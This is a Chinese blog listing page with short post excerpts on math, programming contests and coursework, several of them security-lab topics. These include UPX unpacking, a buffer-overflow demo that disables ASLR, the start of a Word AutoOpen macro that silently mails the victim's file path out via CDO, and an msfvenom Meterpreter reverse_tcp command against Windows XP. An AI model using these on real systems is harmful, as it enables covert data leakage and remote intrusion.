自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(18)
  • 资源 (3)
  • 收藏
  • 关注

原创 矩阵求导

  矩阵求导是一个在机器学习中经常用到的概念,求导的课程不讲矩阵,矩阵的课程不讲求导,所以这个概念就很尴尬。对于数学基础不好的人来说,还真有点摸不着头脑。  关键词:布局,求导规则布局分子布局:分子不变,分母转置分母布局:分母不变,分子转置  很多博客都会提到布局的概念,包括分子布局和分母布局,但只是说用到了哪种布局,没说为什么和适用范围。实际上,这两种布局没什么特殊意义,只是为了表示方便而已,按照自己的习惯使用即可,甚至可以混合使用,前提是自己写清楚。  一般来说,对于某个特定的求导规则,总

2020-07-24 23:08:56 1693

原创 RuntimeError: $ Torch: not enough memory: you tried to allocate 2GB

outputs = net()在上面这行遇到内存不够的问题,一定要考虑net()里面的batch size是不是太大了。即使你是在测试,但如果你是直接把整个数据集输入到net()中,一般来说内存是不够用的,你必须把batch size减少到正常水平,比如256。参考:https://github.com/SeanNaren/deepspeech.pytorch/issues/150...

2020-02-20 08:49:33 3146

原创 解决ubuntu下使用conda安装pytorch网速过慢的问题

在网上找了很久,各种文章都看遍了,终于找到了有用的,现在总结如下1. 一定要修改源,并且要修改对直接修改 ~/.condarc 文件,写入下面内容channels: - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkg...

2019-11-15 23:45:03 854 1

原创 LSB信息隐藏

信息隐藏的第一节实验课需要做LSB顺序和随机隐藏,手边有武大的实验教程,对着打了一遍,但出现了两个大问题,搞了半天才解决。1. 教辅发的图片都是jpg格式的,但是发现将jpg图片读到内存中后再保存,图片就改变了。原来jpg每次保存的时候会自动有损压缩,即使设置很高的保存质量也避免不了,所以即便把信息隐藏成功了,保存图片后也会随着压缩而破坏。不得不使用bmp这种无损压缩的格式,可是在网上找了一大...

2019-10-01 21:37:51 1222

原创 《挑战程序设计竞赛》阅读笔记

第一章:准备篇1.6 轻松热身ants 问题:把相遇的两个蚂蚁当作交换,当作无障碍

2019-08-26 23:03:13 3546

原创 Millionaire (2008 APAC local onsites C)

题目可以在网上找。很多博文上来就放代码,或者大致说一下思路,让人看着很费解,不理解代码里的变量到底是什么含义。先把书上的讲解贴上来。接下来,说明代码中变量的含义。(1)for(int r=0;r<M;r++) 这里的赌博轮数是倒序的,先求倒数第一轮的情况,再依次求前面各轮的情况,即r=0表示倒数第一轮,r = M-1表示第一轮。(2)dp[i][j]表示...

2019-07-27 18:34:47 507

原创 2009 Round 1C C Bribe the Prisoners

题目可以在网上找,这里主要讲思路这是一个最优子,即最优解可以由子问题的最优解得到。主要思路在下面注意:(1)dp[i][j]表示的是,将从A[i]号囚犯到A[j]号囚犯(不含两端的囚犯)的连续部分里的所有囚犯都释放时,所需的最少金币总数。以dp[1][4]为例,这是把A[I]和A[4]之外的牢房都视为空牢房,并且把A[1]和A[4]当做两端的墙壁,求出的释放A[2]和A[4]所需...

2019-07-27 11:46:51 171

原创 POJ 3255

求最短路径可以用Bellman、Dijkstra等算法,而且可以利用二叉堆来降低复杂度,但是求次短路径就比较难了。参考《挑战程序设计竞赛》第二版,代码如下。思路:按照Dijkstra算法求出最短路径,并在此基础上修改,保存次短路径长度。关键点:每次从优先队列中取出的,要么是第一个if中dist[ ]加进去的最短路径长度,要么是第二个if中dist2[ ]中加进去的次短路径长度。需要注意...

2019-07-25 22:04:14 300

转载 POJ 1182

转载https://cavenkaka.iteye.com/blog/1489588对一些不严谨的地方进行了修正建议:做此题之前先做poj 2524和poj 1611。这两道题都是并查集的基础应用。关键词:并查集相对关系思路:(用一个并查集就够了,同时对每个节点保持其到根结点的相对类别偏移量)1.father[x]表示x的根结点。rank[x]表示father[x]与x的关...

2019-07-24 23:06:12 139

原创 手动UPX脱壳演示

首先,用PEid打开加壳后的程序CrackmeUPX.exe,可以发现使用的是UPX壳。UPX壳是一种比较简单的压缩壳,只需要根据堆栈和寄存器的值进行调试,就能找到程序的正确入口点。当然,如果不怕麻烦的话,也可以全程单步调试,直到出现像正常程序的入口点一样特征的代码,这样就找到了入口点。用我爱破解版ollydbg打开CrackmeUPX.exe,可以看到第一条指令是pushad,这显...

2019-07-03 12:16:39 6964

原创 安装python2.7

在XP系统上安装python2.7,网上的坑巨多,经过一定的时间找到了正确的安装方法。首先是python 2.7。在这里https://www.python.org/ftp/python/,下载python-2.7.2.msi,然后运行,一路next即可。把python的路径添加到环境变量中,具体来讲就是把路径加到path中,如我的是C:\Python27,注意后面写上分号。...

2019-06-24 13:16:06 140

原创 缓冲区溢出攻击演示

实验环境 :Ubuntu 12.04 i386缓冲区溢出攻击是黑客攻击的入门攻击,但是由于现在的编译器和系统进行了多种防护,导致缓冲区溢出攻击非常具有挑战性。这里只演示简单的缓冲区溢出的原始做法。在实验之前,先关闭ASLR保护,sudo echo "0" > /proc/sys/kernel/randomize_va_space编译程序时使用该命令:gcc -fno-stac...

2019-05-29 20:25:27 631

原创 使用CDO组件,实现:一个word文档,当别人打开以后会自动通过你设定的邮箱回复一封邮件,邮件正文是该word文档在对方系统中的绝对路径

这是软件安全课上的一个作业,要求如题。可能对没有接触过CDO组件的人来说,对CDO怎么用完全摸不着头脑。在看了网上的一些帖子后,如果没有测试他们的代码,还是不知道怎么用。实际上,CDO组件是一个很好用的东西。至于CDO的概念,我在这里就不多说了,网上多的是。先把代码放上来,是不是一目了然,非常简单。Sub AutoOpen()'Dim Email As New CDO.Mes...

2019-05-12 15:52:25 2463 1

原创 两个进程共享内存,一个写,一个读

要求是:生产者进程生成Catalan序列,并将其写入到内存共享对象。消费者进程从共享内存中读取并输出序列。生产者进程要在命令行指定生成Catalan数的数目。例如,命令行指定5,说明生产者进程会生成5个Catalan数:1 2 5 14 42这里的实现没有显式创建进程,因为打开不同的命令行窗口就于创建新进程。//生产者(write)#include <stdio....

2019-05-11 20:38:24 3184

原创 记一次在Ubuntu上安装tpm模拟器的深刻经验

我的环境是Ubuntu 18.04https://blog.csdn.net/hustymf/article/details/9469277这是一篇比较靠谱的文章,但是,由于版本问题,这里面有些行不通的地方。我用的软件包和他的不太一样,他的在我这里会报错,估计是他的他老了吧。我的软件包如下:trousers-0.3.14.tar.gz gmp-6.1.2.tar.bz ...

2019-05-02 16:17:17 2590 1

原创 判断聊天时的一串数字是否对应某个字符串

#include<iostream>#include<string>using namespace std;char table[8][4]={{'a','b','c','?'},{'d','e','f','?'},{'g','h','i','?'},{'j','k','l','?'},{'m','n','o','?'},{'p','q','r',...

2019-04-07 19:40:04 159

原创 从原点到某点,路径不超过对角线。求这样的路径数量。

#include<stdio.h>#include<iostream>#define MAX 100using namespace std;typedef struct{ long int x; long int y;}point;long long int total[100]={0};long long int mod=100000000...

2019-04-07 19:35:43 331

原创 使用kali黑掉Windows xp

这学期老师布置了一个不算大的大作业,让我们组队做一个攻击。思来想去,作为一个小白,也只能做一些比较简单的攻击,于是就从网上找了用metasploit黑入Windows xp的方法。这里我先把需要的命令列出来,然后详细地解释每条命令的具体含义,最后再介绍一些常用的操作。1.root@kali:/# msfvenom -p windows/meterpreter/reverse_tcp L...

2019-03-13 21:16:50 4848 5

win32下PE文件(可执行文件)的常用分析与调试工具

内含多种工具,可对win32平台下的PE文件进行调试和分析,有利于进行PE文件的学习与深入研究

2019-05-02

TMP模拟器需要的所有资源

安装TPM模拟器需要的全部资源都在这里,结合我写的文章,就能顺利地安装TPM模拟器。

2019-05-02

数据结构课程PPT,非常全面

大学数据结构课程PPT,内容全面,适合掌握C语言的初学者进行学习

2019-02-20

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除